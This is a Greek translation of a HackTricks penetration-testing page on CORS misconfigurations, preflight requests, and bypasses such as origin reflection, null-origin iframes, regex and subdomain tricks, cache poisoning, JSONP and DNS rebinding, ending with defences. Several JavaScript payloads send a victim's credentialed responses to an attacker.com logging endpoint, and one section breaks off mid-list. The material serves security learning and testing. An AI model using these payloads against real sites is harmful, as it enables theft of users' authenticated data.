hacktricks/pentesting-web/cors-bypass.md

45 KiB
Raw Blame History

CORS - Λανθασμένες ρυθμίσεις & Παράκαμψη

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Τι είναι το CORS;

Το πρότυπο Cross-Origin Resource Sharing (CORS) επιτρέπει στους διακομιστές να ορίζουν ποιος μπορεί να έχει πρόσβαση στους πόρους τους και ποιες μέθοδοι αιτήσεων HTTP επιτρέπονται από εξωτερικές πηγές.

Μια πολιτική ίδιας προέλευσης απαιτεί από ένα διακομιστή που ζητά έναν πόρο και τον διακομιστή που φιλοξενεί τον πόρο να μοιράζονται τον ίδιο πρωτόκολλο (π.χ., http://), το όνομα τομέα (π.χ., internal-web.com), και θύρα (π.χ., 80). Με βάση αυτήν την πολιτική, μόνο οι ιστοσελίδες από τον ίδιο τομέα και την ίδια θύρα επιτρέπεται η πρόσβαση στους πόρους.

Η εφαρμογή της πολιτικής ίδιας προέλευσης στο πλαίσιο του http://normal-website.com/example/example.html απεικονίζεται ως εξής:

Διεύθυνση URL πρόσβασης Επιτρεπτή πρόσβαση;
http://normal-website.com/example/ Ναι: Ίδιο πρωτόκολλο, τομέας, και θύρα
http://normal-website.com/example2/ Ναι: Ίδιο πρωτόκολλο, τομέας, και θύρα
https://normal-website.com/example/ Όχι: Διαφορετικό πρωτόκολλο και θύρα
http://en.normal-website.com/example/ Όχι: Διαφορετικός τομέας
http://www.normal-website.com/example/ Όχι: Διαφορετικός τομέας
http://normal-website.com:8080/example/ Όχι: Διαφορετική θύρα*

*Ο Internet Explorer αγνοεί τον αριθμό θύρας στην εφαρμογή της πολιτικής ίδιας προέλευσης, επιτρέποντας έτσι αυτήν την πρόσβαση.

Κεφαλίδα Access-Control-Allow-Origin

Αυτή η κεφαλίδα μπορεί να επιτρέψει πολλαπλές προελεύσεις, μια τιμή null, ή ένα χαρακτήρα τυχαίας επιλογής *. Ωστόσο, κανένας browser δεν υποστηρίζει πολλαπλές προελεύσεις, και η χρήση του χαρακτήρα τυχαίας επιλογής * υπόκειται σε περιορισμούς. (Ο χαρακτήρας τυχαίας επιλογής πρέπει να χρησιμοποιείται μόνος του, και η χρήση του μαζί με το Access-Control-Allow-Credentials: true δεν επιτρέπεται.)

Αυτή η κεφαλίδα εκδίδεται από ένα διακομιστή σε απάντηση μιας αίτησης πόρου διασυνοριακής πρόσβασης που ξεκινά από μια ιστοσελίδα, με τον περιηγητή να προσθέτει αυτόματα μια κεφαλίδα Origin.

Κεφαλίδα Access-Control-Allow-Credentials

Από προεπιλογή, οι αιτήσεις διασυνοριακής πρόσβασης γίνονται χωρίς διαπιστευτήρια όπως cookies ή η κεφαλίδα Authorization. Ωστόσο, ένας διακομιστής διασυνοριακής πρόσβασης μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν αποστέλλονται διαπιστευτήρια ορίζοντας την κεφαλίδα Access-Control-Allow-Credentials σε true.

Εάν οριστεί σε true, ο περιηγητής θα μεταδώσει διαπιστευτήρια (cookies, κεφαλίδες εξουσιοδότησης, ή πιστοποιητικά πελάτη TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Προερώτηση

Κατανόηση των Προερωτημάτων Πριν στην Επικοινωνία Μεταξύ Διαφορετικών Domain

Όταν εκκινείτε ένα αίτημα μεταξύ διαφορετικών domain υπό συγκεκριμένες συνθήκες, όπως η χρήση ενός μη-κανονικού μεθόδου HTTP (οτιδήποτε εκτός από HEAD, GET, POST), η εισαγωγή νέων κεφαλίδων, ή η χρήση ενός ειδικού τιμή κεφαλίδας Content-Type, μπορεί να απαιτηθεί ένα προερώτημα. Αυτό το προκαταρκτικό αίτημα, χρησιμοποιώντας τη μέθοδο OPTIONS, χρησιμεύει για να ενημερώσει τον διακομιστή για τις προθέσεις του επερχόμενου αιτήματος διασυνοριακής επικοινωνίας, συμπεριλαμβανομένων των μεθόδων HTTP και των κεφαλίδων που προτίθεται να χρησιμοποιήσει.

Το πρωτόκολλο Cross-Origin Resource Sharing (CORS) επιβάλλει αυτόν τον έλεγχο πριν για να καθορίσει την εφικτότητα της ζητούμενης λειτουργίας διασυνοριακής επικοινωνίας ελέγχοντας τις επιτρεπόμενες μεθόδους, κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που παρακάμπτουν την ανάγκη για ένα προερώτημα, ανατρέξτε στον πλήρη οδηγό που παρέχεται από το Mozilla Developer Network (MDN).

Είναι σημαντικό να σημειωθεί ότι η απουσία ενός προερωτήματος δεν αναιρεί την ανάγκη για την απάντηση να περιέχει κεφαλίδες εξουσιοδότησης. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απάντηση από το αίτημα διασυνοριακής επικοινωνίας.

Λάβετε υπόψη το παρακάτω σχήμα ενός προερωτήματος που στοχεύει στη χρήση της μεθόδου PUT μαζί με μια προσαρμοσμένη κεφαλίδα με το όνομα Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Ως απάντηση, ο διακομιστής μπορεί να επιστρέψει κεφαλίδες που υποδεικνύουν τις αποδεκτές μεθόδους, την επιτρεπόμενη προέλευση και άλλες λεπτομέρειες πολιτικής CORS, όπως φαίνεται παρακάτω:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Αυτή η κεφαλίδα καθορίζει ποιες κεφαλίδες μπορούν να χρησιμοποιηθούν κατά την πραγματική αίτηση. Ο διακομιστής την ορίζει για να υποδείξει τις επιτρεπόμενες κεφαλίδες στις αιτήσεις από τον πελάτη.
  • Access-Control-Expose-Headers: Μέσω αυτής της κεφαλίδας, ο διακομιστής ενημερώνει τον πελάτη σχετικά με ποιες κεφαλίδες μπορούν να εκτίθενται ως μέρος της απόκρισης εκτός από τις απλές κεφαλίδες απόκρισης.
  • Access-Control-Max-Age: Αυτή η κεφαλίδα υποδεικνύει πόσο καιρό μπορούν να κρατηθούν τα αποτελέσματα μιας προ-πτήσης αιτήσεως στην μνήμη cache. Ο διακομιστής ορίζει το μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από μια προ-πτήση αίτησης μπορούν να επαναχρησιμοποιηθούν.
  • Access-Control-Request-Headers: Χρησιμοποιείται σε προ-πτήση αιτήσεων, αυτή η κεφαλίδα ορίζεται από τον πελάτη για να ενημερώσει τον διακομιστή σχετικά με τις κεφαλίδες HTTP που ο πελάτης θέλει να χρησιμοποιήσει στην πραγματική αίτηση.
  • Access-Control-Request-Method: Αυτή η κεφαλίδα, επίσης χρησιμοποιείται σε προ-πτήση αιτήσεων, ορίζεται από τον πελάτη για να υποδείξει ποια μέθοδο HTTP θα χρησιμοποιηθεί στην πραγματική αίτηση.
  • Origin: Αυτή η κεφαλίδα ορίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση της αιτήσεως διασταυρούμενης προέλευσης. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει εάν η εισερχόμενη αίτηση πρέπει να επιτραπεί ή να απορριφθεί βάσει της πολιτικής CORS.

Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τις κεφαλίδες που ορίζονται) σε μια αίτηση GET/POST δεν στέλνεται προ-πτήση αίτησης (η αίτηση στέλνεται απευθείας), αλλά αν θέλετε να έχετε πρόσβαση στις κεφαλίδες/σώμα της απόκρισης, πρέπει να περιέχει μια κεφαλίδα Access-Control-Allow-Origin που το επιτρέπει.
Επομένως, το CORS δεν προστατεύει από CSRF (αλλά μπορεί να είναι χρήσιμο).

Προ-πτήση αιτήσεων τοπικού δικτύου

  1. Access-Control-Request-Local-Network: Αυτή η κεφαλίδα περιλαμβάνεται στην αίτηση του πελάτη για να υποδείξει ότι η ερώτηση απευθύνεται σε ένα τοπικό δίκτυο. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι η αίτηση προέρχεται από το εσωτερικό του τοπικού δικτύου.
  2. Access-Control-Allow-Local-Network: Στην απάντηση, οι διακομιστές χρησιμοποιούν αυτήν την κεφαλίδα για να επικοινωνήσουν ότι ο προτεινόμενος πόρος επιτρέπεται να κοινοποιηθεί με οντότητες έξω από το τοπικό δίκτυο. Λειτουργεί ως πράσινο φως για την κοινοποίηση πόρων διασχίζοντας διαφορετικά όρια δικτύου, εξασφαλίζοντας ελεγχόμενη πρόσβαση διατηρώντας πρωτόκολλα ασφαλείας.

Μια έγκυρη απόκριση που επιτρέπει την αίτηση του τοπικού δικτύου πρέπει επίσης να περιέχει στην απόκριση την κεφαλίδα Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Σημειώστε ότι η IP 0.0.0.0 του Linux λειτουργεί για την παράκαμψη αυτών των απαιτήσεων για πρόσβαση στο localhost, καθώς αυτή η διεύθυνση IP δε θεωρείται "τοπική".

Είναι επίσης δυνατό να παρακαμφθούν οι απαιτήσεις του Τοπικού Δικτύου εάν χρησιμοποιήσετε τη δημόσια διεύθυνση IP ενός τοπικού σημείου (όπως η δημόσια IP του δρομολογητή). Επειδή σε αρκετές περιπτώσεις, ακόμα κι αν η δημόσια IP προσπελαύνεται, εάν είναι από το τοπικό δίκτυο, η πρόσβαση θα επιτραπεί. {% endhint %}

Εκμετάλλευση ευπαθών ρυθμίσεων

Έχει παρατηρηθεί ότι η ρύθμιση του Access-Control-Allow-Credentials σε true είναι προϋπόθεση για τις περισσότερες πραγματικές επιθέσεις. Αυτή η ρύθμιση επιτρέπει στον περιηγητή να στέλνει διαπιστευτήρια και να διαβάζει την απάντηση, ενισχύοντας την αποτελεσματικότητα της επίθεσης. Χωρίς αυτό, το πλεονέκτημα του να κάνει κάποιος τον περιηγητή να εκδώσει μια αίτηση αντί να το κάνει μόνος του μειώνεται, καθώς η εκμετάλλευση των cookies ενός χρήστη γίνεται ανέφικτη.

Εξαίρεση: Εκμετάλλευση της Τοποθεσίας Δικτύου ως Ταυτοποίηση

Υπάρχει μια εξαίρεση όπου η τοποθεσία του δικτύου του θύματος λειτουργεί ως μορφή ταυτοποίησης. Αυτό επιτρέπει στον περιηγητή του θύματος να χρησιμοποιηθεί ως proxy, παρακάμπτοντας την ταυτοποίηση βασισμένη σε IP για πρόσβαση σε εφαρμογές εταιρικού δικτύου. Αυτή η μέθοδος μοιάζει με την επαναδέσμευση DNS αλλά είναι πιο εύκολη στην εκμετάλλευση.

Αντανάκλαση του Origin στο Access-Control-Allow-Origin

Η πραγματική κατάσταση όπου η τιμή της κεφαλίδας Origin αντανακλάται στο Access-Control-Allow-Origin είναι θεωρητικά απίθανη λόγω περιορισμών στον συνδυασμό αυτών των κεφαλίδων. Ωστόσο, οι προγραμματιστές που επιθυμούν να ενεργοποιήσουν το CORS για πολλαπλές διευθύνσεις URL μπορεί να δημιουργήσουν δυναμικά την κεφαλίδα Access-Control-Allow-Origin αντιγράφοντας την τιμή της κεφαλίδας Origin. Αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες, ειδικά όταν ένας επιτιθέμενος χρησιμοποιεί έναν τομέα με ένα όνομα σχεδιασμένο να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική επικύρωσης.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Εκμεταλλευόμενοι την Προέλευση null

Η προέλευση null, που καθορίζεται για καταστάσεις όπως ανακατευθύνσεις ή τοπικά αρχεία HTML, κατέχει μια μοναδική θέση. Κάποιες εφαρμογές προσθέτουν αυτήν την προέλευση στη λευκή λίστα για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας κατά λάθος σε οποιονδήποτε ιστότοπο να μιμείται μια προέλευση null μέσω ενός iframe σε αμμώδη περιβάλλον, παρακάμπτοντας έτσι τους περιορισμούς CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Τεχνικές Παράκαμψης Κανόνων Κανονικών Εκφράσεων

Όταν αντιμετωπίζετε ένα λευκό κατάλογο τομέων, είναι κρίσιμο να ελέγξετε τις ευκαιρίες παράκαμψης, όπως η προσάρτηση του τομέα του επιτιθέμενου σε έναν λευκού καταλόγου τομέα ή η εκμετάλλευση ευπαθειών υπερτομέα. Επιπλέον, οι κανονικές εκφράσεις που χρησιμοποιούνται για την επικύρωση τομέων ενδέχεται να παραβλέπουν λεπτομέρειες στις συμβάσεις ονομασίας τομέων, παρουσιάζοντας περαιτέρω ευκαιρίες παράκαμψης.

Προηγμένες Τεχνικές Παράκαμψης Κανονικών Εκφράσεων

Τα πρότυπα Regex συνήθως επικεντρώνονται σε αλφαριθμητικούς χαρακτήρες, τελεία (.), και παύλα (-), παραβλέποντας άλλες πιθανότητες. Για παράδειγμα, ένα όνομα τομέα που δημιουργείται για να περιλαμβάνει χαρακτήρες που ερμηνεύονται διαφορετικά από τους περιηγητές και τα πρότυπα Regex μπορεί να παρακάμψει τους ελέγχους ασφαλείας. Η χειριστική των υποτομέων από τους περιηγητές Safari, Chrome, και Firefox για τους χαρακτήρες κάτω παύλα στους υποτομείς επιδεικνύει πώς τέτοιες αντιφάσεις μπορούν να εκμεταλλευτούν για να παρακαμφθεί η λογική επικύρωσης τομέων.

Για περισσότερες πληροφορίες και ρυθμίσεις αυτού του ελέγχου παράκαμψης: https://www.corben.io/advanced-cors-techniques/ και https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Από XSS μέσα σε υποτομέα

Οι προγραμματιστές συχνά υλοποιούν μηχανισμούς προστασίας για να προστατεύσουν ενάντια στην εκμετάλλευση CORS με τη λευκή λίστα τομέων που επιτρέπονται να ζητήσουν πληροφορίες. Παρά τα μέτρα αυτά, η ασφάλεια του συστήματος δεν είναι αδιάβροχη. Η παρουσία ακόμα και ενός ευάλωτου υποτομέα μέσα στους λευκούς καταλόγους τομέων μπορεί να ανοίξει την πόρτα στην εκμετάλλευση CORS μέσω άλλων ευπαθειών, όπως το XSS (Cross-Site Scripting).

Για να το εξηγήσουμε, να λάβετε υπόψη το σενάριο όπου ένας τομέας, requester.com, είναι στη λευκή λίστα για να έχει πρόσβαση σε πόρους από έναν άλλο τομέα, provider.com. Η διαμόρφωση στην πλευρά του διακομιστή μπορεί να μοιάζει κάπως έτσι:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

Σε αυτή τη ρύθμιση, όλα τα υποτομεία του requester.com επιτρέπεται η πρόσβαση. Ωστόσο, εάν ένα υποτομέα, όπως το sub.requester.com, διαρρεύσει με μια ευπάθεια XSS, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την αδυναμία. Για παράδειγμα, ένας επιτιθέμενος με πρόσβαση στο sub.requester.com θα μπορούσε να εκμεταλλευτεί την ευπάθεια XSS για να παρακάμψει τις πολιτικές CORS και να αποκτήσει κακόβουλη πρόσβαση σε πόρους στο provider.com.

Δηλητηρίαση προσωρινής μνήμης στην πλευρά του διακομιστή

Από αυτήν την έρευνα

Είναι δυνατόν με την εκμετάλλευση της δηλητηρίασης της προσωρινής μνήμης στην πλευρά του διακομιστή μέσω της εισαγωγής κεφαλίδων HTTP, να προκληθεί μια ευπάθεια αποθηκευμένης Cross-Site Scripting (XSS). Αυτό το σενάριο αναπτύσσεται όταν μια εφαρμογή αποτυγχάνει να απολυμάνει την κεφαλίδα Origin για παράνομους χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες του Internet Explorer και του Edge. Αυτοί οι περιηγητές θεωρούν το (0x0d) ως έγκυρο τερματιστή κεφαλίδας HTTP, οδηγώντας σε ευπάθειες εισαγωγής κεφαλίδων HTTP.

Λάβετε υπόψη το ακόλουθο αίτημα όπου η κεφαλίδα Origin είναι χειρισμένη:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Το Internet Explorer και το Edge ερμηνεύουν την απάντηση ως:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Ενώ δεν είναι εφικτό να εκμεταλλευτείτε απευθείας αυτή την ευπάθεια κάνοντας έναν web browser να στείλει ένα μη έγκυρο κεφαλίδα, μια διαμορφωμένη αίτηση μπορεί να δημιουργηθεί χειροκίνητα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε έναν server-side cache να αποθηκεύσει την απόκριση και ακούσια να την παρέχει σε άλλους. Το διαμορφωμένο φορτίο στοχεύει στην αλλαγή του συνόλου χαρακτήρων της σελίδας σε UTF-7, έναν κωδικοποιητή χαρακτήρων που συχνά συσχετίζεται με ευπάθειες XSS λόγω της ικανότητάς του να κωδικοποιεί χαρακτήρες με έναν τρόπο που μπορεί να εκτελεστεί ως script σε συγκεκριμένα πλαίσια.

Για περισσότερες πληροφορίες σχετικά με ευπάθειες αποθηκευμένου XSS, δείτε PortSwigger.

Σημείωση: Η εκμετάλλευση ευπαθειών εισαγωγής κεφαλίδων HTTP, ιδιαίτερα μέσω δηλητηρίασης server-side cache, υπογραμμίζει την κρίσιμη σημασία της επικύρωσης και απολύτως της καθαρισμού όλων των εισόδων που παρέχει ο χρήστης, συμπεριλαμβανομένων των κεφαλίδων HTTP. Χρησιμοποιήστε πάντα ένα ανθεκτικό μοντέλο ασφαλείας που περιλαμβάνει επικύρωση εισόδου για να αποτρέψετε τέτοιες ευπαθείες.

Δηλητηρίαση cache στην πλευρά του πελάτη

Από αυτή την έρευνα

Σε αυτό το σενάριο, παρατηρείται μια περίπτωση μιας ιστοσελίδας που αντανακλά το περιεχόμενο μιας προσαρμοσμένης κεφαλίδας HTTP χωρίς κατάλληλη κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα αντανακλά το περιεχόμενο που περιλαμβάνεται σε μια κεφαλίδα X-User-id, η οποία θα μπορούσε να περιλαμβάνει κακόβουλο JavaScript, όπως φαίνεται από το παράδειγμα όπου η κεφαλίδα περιέχει μια ετικέτα εικόνας SVG σχεδιασμένη να εκτελέσει κώδικα JavaScript κατά τη φόρτωση.

Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή προσαρμοσμένων κεφαλίδων. Ωστόσο, χωρίς την άμεση απεικόνιση της απόκρισης από τον browser λόγω περιορισμών CORS, η χρησιμότητα μιας τέτοιας εισαγωγής φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν ληφθεί υπόψη τη συμπεριφορά της μνήμης cache του browser. Αν η κεφαλίδα Vary: Origin δεν καθοριστεί, γίνεται δυνατή η αποθήκευση της κακόβουλης απόκρισης από τον browser. Στη συνέχεια, αυτή η αποθηκευμένη απόκριση θα μπορούσε να απεικονιστεί απευθείας κατά την πλοήγηση στο URL, παρακάμπτοντας την ανάγκη για άμεση απεικόνιση κατά το αρχικό αίτημα. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος την cache στην πλευρά του πελάτη.

Για να εικονίσει αυτήν την επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο να εκτελεστεί στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Αυτό το σενάριο εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε ένα συγκεκριμένο URL με μια προσαρμοσμένη κεφαλίδα που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχή ολοκλήρωση του αιτήματος, προσπαθεί να πλοηγηθεί στον στόχο URL, πιθανώς ενεργοποιώντας την εκτέλεση του ενσωματωμένου script αν η απόκριση έχει αποθηκευτεί χωρίς την κατάλληλη χειρισμό της κεφαλίδας Vary: Origin.

Εδώ παρουσιάζεται μια συνοπτική ανάλυση του JavaScript που χρησιμοποιείται για την εκτέλεση αυτής της επίθεσης:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, επίσης γνωστό ως Cross-Site Script Inclusion, είναι ένας τύπος ευπάθειας που εκμεταλλεύεται το γεγονός ότι η Same Origin Policy (SOP) δεν ισχύει όταν συμπεριλαμβάνονται πόροι χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα scripts πρέπει να μπορούν να συμπεριληφθούν από διαφορετικούς τομείς. Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο που συμπεριλήφθηκε χρησιμοποιώντας την ετικέτα script.

Αυτή η ευπάθεια γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON με Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες αρμοδιότητας όπως τα cookies για την πιστοποίηση. Κατά την αίτηση ενός πόρου από διαφορετικό κόμβο, τα cookies συμπεριλαμβάνονται, κάτι που τα καθιστά προσβάσιμα στον επιτιθέμενο.

Για να κατανοήσετε καλύτερα και να αντιμετωπίσετε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε το πρόσθετο BurpSuite που είναι διαθέσιμο στο https://github.com/kapytein/jsonp. Αυτό το πρόσθετο μπορεί να βοηθήσει στον εντοπισμό και την αντιμετώπιση πιθανών ευπαθειών XSSI στις εφαρμογές ιστού σας.

Διαβάστε περισσότερα σχετικά με τους διαφορετικούς τύπους XSSI και πώς να τα εκμεταλλευτείτε εδώ.

Δοκιμάστε να προσθέσετε ένα callback παράμετρο στο αίτημα. Ίσως η σελίδα ήταν προετοιμασμένη να στείλει τα δεδομένα ως JSONP. Σε αυτήν την περίπτωση, η σελίδα θα στείλει πίσω τα δεδομένα με Content-Type: application/javascript το οποίο θα παρακάμψει την πολιτική CORS.

Εύκολη (άχρηστη;) παράκαμψη

Ένας τρόπος να παρακάμψετε τον περιορισμό Access-Control-Allow-Origin είναι να ζητήσετε από μια εφαρμογή ιστού να κάνει ένα αίτημα εκ μέρους σας και να στείλει πίσω την απάντηση. Ωστόσο, σε αυτό το σενάριο, τα διαπιστευτήρια του τελικού θύματος δεν θα αποσταλούν καθώς το αίτημα γίνεται σε διαφορετικό τομέα.

  1. CORS-escape: Αυτό το εργαλείο παρέχει ένα πρόξι για να προωθήσει το αίτημά σας μαζί με τις κεφαλίδες του, ενώ παράλληλα παραποιεί την κεφαλίδα Origin για να ταιριάζει με τον ζητούμενο τομέα. Αυτό παρακάμπτει αποτελεσματικά την πολιτική CORS. Εδώ υπάρχει ένα παράδειγμα χρήσης με XMLHttpRequest:
  2. simple-cors-escape: Αυτό το εργαλείο προσφέρει μια εναλλακτική προσέγγιση για την προώθηση αιτημάτων. Αντί να περνάτε το αίτημά σας ως έχει, ο διακομιστής κάνει το δικό του αίτημα με τις καθορισμένες παραμέτρους.

Bypass μέσω Iframe + Popup

Μπορείτε να παρακάμψετε τους έλεγχους CORS όπως e.origin === window.origin με το δημιουργία ενός iframe και από αυτό να ανοίξετε ένα νέο παράθυρο. Περισσότερες πληροφορίες στην ακόλουθη σελίδα:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding μέσω TTL

Η αναδρομή DNS μέσω TTL είναι μια τεχνική που χρησιμοποιείται για την παράκαμψη συγκεκριμένων μέτρων ασφαλείας με τη χειραγώγηση των εγγραφών DNS. Εδώ είναι πώς λειτουργεί:

  1. Ο επιτιθέμενος δημιουργεί μια ιστοσελίδα και κάνει το θύμα να την αποκτήσει πρόσβαση.
  2. Ο επιτιθέμενος αλλάζει στη συνέχεια το DNS (IP) του δικού του τομέα για να δείχνει στην ιστοσελίδα του θύματος.
  3. Ο περιηγητής του θύματος κρατά την απάντηση DNS, η οποία μπορεί να έχει μια τιμή TTL (Time to Live) που υποδηλώνει πόσο καιρό πρέπει να θεωρείται έγκυρη η εγγραφή DNS.
  4. Όταν λήξει η τιμή TTL, ο περιηγητής του θύματος κάνει ένα νέο αίτημα DNS, επιτρέποντας στον επιτιθέμενο να εκτελέσει κώδικα JavaScript στη σελίδα του θύματος.
  5. Κρατώντας τον έλεγχο του IP του θύματος, ο επιτιθέμενος μπορεί να συγκεντρώσει πληροφορίες από το θύμα χωρίς να στέλνει cookies στον διακομιστή του θύματος.

Είναι σημαντικό να σημειωθεί ότι οι περιηγητές έχουν μηχανισμούς κρυφής μνήμης που μπορεί να αποτρέψουν την άμεση κατάχρηση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.

Η αναδρομή DNS μπορεί να είναι χρήσιμη για την παράκαμψη συγκεκριμένων ελέγχων IP που πραγματοποιεί το θύμα ή για σενάρια όπου ένας χρήστης ή bot παραμένει στην ίδια σελίδα για μεγάλο χρονικό διάστημα, επιτρέποντας την λήξη της μνήμης cache.

Αν χρειάζεστε έναν γρήγορο τρόπο να εκμεταλλευτείτε την αναδρομή DNS, μπορείτε να χρησιμοποιήσετε υπηρεσίες όπως https://lock.cmpxchg8b.com/rebinder.html.

Για να εκτελέσετε τον δικό σας διακομιστή αναδρομής DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Αυτό περιλαμβάνει την εκθεση της τοπικής σας θύρας 53/udp, τη δημιουργία μιας εγγραφής A που δείχνει σε αυτήν (π.χ., ns.example.com) και τη δημιουργία μιας εγγραφής NS που δείχνει στο προηγουμένως δημιουργημένο υποτομέα A (π.χ., ns.example.com). Οποιοδήποτε υποτομέας του υποτομέα ns.example.com θα επιλυθεί στον υπολογιστή σας.

Μπορείτε επίσης να εξερευνήσετε ένα δημόσια λειτουργούντα διακομιστή στο http://rebind.it/singularity.html για περαιτέρω κατανόηση και πειραματισμό.

Αναδρομή DNS μέσω Πλημμύρας Κρυφής Μνήμης DNS

Η αναδρομή DNS μέσω πλημμύρας κρυφής μνήμης DNS είναι μια άλλη τεχνική που χρησιμοποιείται για την παράκαμψη του μηχανισμού κρυφής μνήμης των περιηγητών και την ανάγκη για ένα δεύτερο αίτημα DNS. Εδώ είναι πώς λειτουργεί:

  1. Αρχικά,

Άλλες Συνηθισμένες Παρακάμψεις

  • Αν δεν επιτρέπονται εσωτερικές IP διευθύνσεις, μπορεί να έχουν ξεχάσει να απαγορεύσουν την 0.0.0.0 (λειτουργεί σε Linux και Mac)
  • Αν δεν επιτρέπονται εσωτερικές IP διευθύνσεις, απάντησε με ένα CNAME προς το localhost (λειτουργεί σε Linux και Mac)
  • Αν δεν επιτρέπονται εσωτερικές IP διευθύνσεις ως απαντήσεις DNS, μπορείτε να απαντήσετε με CNAMEs προς εσωτερικές υπηρεσίες όπως το www.corporate.internal.

Όπλοποιημένο DNS Rebidding

Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τις προηγούμενες τεχνικές παράκαμψης και πώς να χρησιμοποιήσετε το ακόλουθο εργαλείο στην ομιλία Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin είναι ένα εργαλείο για να εκτελέσετε επιθέσεις DNS rebinding. Περιλαμβάνει τα απαραίτητα στοιχεία για να επαναδέσετε την IP διεύθυνση του ονόματος DNS του διακομιστή επίθεσης στη διεύθυνση IP της στόχο μηχανής και να εξυπηρετήσετε φορτία επίθεσης για να εκμεταλλευτείτε ευάλωτο λογισμικό στη μηχανή στόχο.

Πραγματική Προστασία ενάντια στο DNS Rebinding

  • Χρησιμοποιήστε TLS σε εσωτερικές υπηρεσίες
  • Ζητήστε πιστοποίηση για πρόσβαση σε δεδομένα
  • Επικυρώστε την κεφαλίδα Host
  • https://wicg.github.io/private-network-access/: Πρόταση για πάντα να στέλνετε ένα προ-πτέρυγο αίτημα όταν δημόσιοι διακομιστές θέλουν πρόσβαση σε εσωτερικούς διακομιστές

